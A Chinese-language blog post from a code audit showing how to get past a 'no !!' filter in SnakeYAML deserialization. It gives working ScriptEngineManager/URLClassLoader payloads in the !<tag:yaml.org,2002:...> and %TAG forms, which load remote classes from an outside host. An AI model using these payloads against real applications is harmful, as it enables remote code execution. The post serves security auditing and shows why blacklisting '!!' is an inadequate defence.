SnakeYaml 反序列化的一个小 trick

背景

这是我在做某个代码审计项目时遇到的场景,一个 yaml 解析的功能使用了 snakeyaml 来处理 yaml,snakeyaml 一般情况下是可以直接进行反序列化攻击的。但这里它做了一个前提条件 —— “不允许 yaml 中存在 !!”。

如果打过 yaml 反序列化漏洞的人应该都知道 !! 就相当于 fastjson 里的 @type,用于指定要反序列化的全类名。

一旦 yaml 缺少了 !! 将无法再指定恶意的反序列化类,也就构不成代码执行的威胁了。

分析

!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:2333/"]]]]

这条 POC 都是网上公开最常见的,所有 POC 都是基于 !! 来反序列化。这也就误导了一些程序员认为 !! 是导致反序列化的原因。

1607229829.jpg

以上图为例,yaml 中带有 !! 无法通过校验。所以需要先去绕过 !! 。

我一开始想到的是类似 fastjson 可以16进制、Unicode在内部进行解码,实际测试并不可行,

1607233507(1).jpg

虽然可以处理 Unicode,但只能当做 string 使用,所以这个想法只能放弃。

1607234518(1).jpg

经过一系列的调试我发现,每个 !! 修饰过的类都转成了一个 TAG。

例如 yaml 常用的 set str map 等类型都是一个 TAG,并且使用了一个固定的前缀:tag:yaml.org,2002:

    public static final String PREFIX = "tag:yaml.org,2002:";
    public static final Tag YAML = new Tag("tag:yaml.org,2002:yaml");
    public static final Tag MERGE = new Tag("tag:yaml.org,2002:merge");
    public static final Tag SET = new Tag("tag:yaml.org,2002:set");
    public static final Tag PAIRS = new Tag("tag:yaml.org,2002:pairs");
    public static final Tag OMAP = new Tag("tag:yaml.org,2002:omap");
    public static final Tag BINARY = new Tag("tag:yaml.org,2002:binary");
    public static final Tag INT = new Tag("tag:yaml.org,2002:int");
    public static final Tag FLOAT = new Tag("tag:yaml.org,2002:float");
    public static final Tag TIMESTAMP = new Tag("tag:yaml.org,2002:timestamp");
    public static final Tag BOOL = new Tag("tag:yaml.org,2002:bool");
    public static final Tag NULL = new Tag("tag:yaml.org,2002:null");
    public static final Tag STR = new Tag("tag:yaml.org,2002:str");
    public static final Tag SEQ = new Tag("tag:yaml.org,2002:seq");
    public static final Tag MAP = new Tag("tag:yaml.org,2002:map");

所以 !!javax.script.ScriptEngineManager 的TAG就是 tag:yaml.org,2002:javax.script.ScriptEngineManager

我在 yaml 官网找到了一些与tag:yaml.org,2002相关的文档。

1607235428(1).jpg

发现它除了 !! 以为还有另外几种 TAG 的表示方式。

%YAML 1.1
---
!!seq [
  !<!foo> "bar",
  !<tag:yaml.org,2002:str> "string"
  !<tag:ben-kiki.org,2000:type> "baz"
]
# Explicitly specify default settings:
%TAG !     !
%TAG !!    tag:yaml.org,2002:
# Named handles have no default:
%TAG !o! tag:ben-kiki.org,2000:
---
- !foo "bar"
- !!str "string"
- !o!type "baz"

第一种是用!<TAG>来表示,只需要一个感叹号,尖括号里就是 TAG。

前面提到 !! 就是用来表示 TAG 的,会自动补全 TAG 前缀tag:yaml.org,2002:

所以要想反序列化恶意类就需要这样构造

!<tag:yaml.org,2002:javax.script.ScriptEngineManager> " +
                "[!<tag:yaml.org,2002:java.net.URLClassLoader> [[!<tag:yaml.org,2002:java.net.URL>" +
                " [\"http://b1ue.cn/\"]]]]

这样以来就绕过了不允许存在 !! 的限制。

1607236107(1).jpg

再来看第二种,需要在 yaml 中用%TAG声明一个 TAG

例如我声明 ! 的tag是 tag:yaml.org,2002:

%TAG !      tag:yaml.org,2002:

后面再调用 !str的话实际上就会把 TAG 前缀拼起来得到tag:yaml.org,2002:str

最终我构造的反序列化攻击payload如下

%TAG !      tag:yaml.org,2002:
---
!javax.script.ScriptEngineManager [!java.net.URLClassLoader [[!java.net.URL ["http://b1ue.cn/"]]]]

1607236345(1).jpg

同样也只使用了一个!,绕过了!!的限制。

发表留言

如未标注转载则文章均为本人原创,转载前先吱声,未授权转载我就锤爆你狗头。

人生在世,错别字在所难免,无需纠正。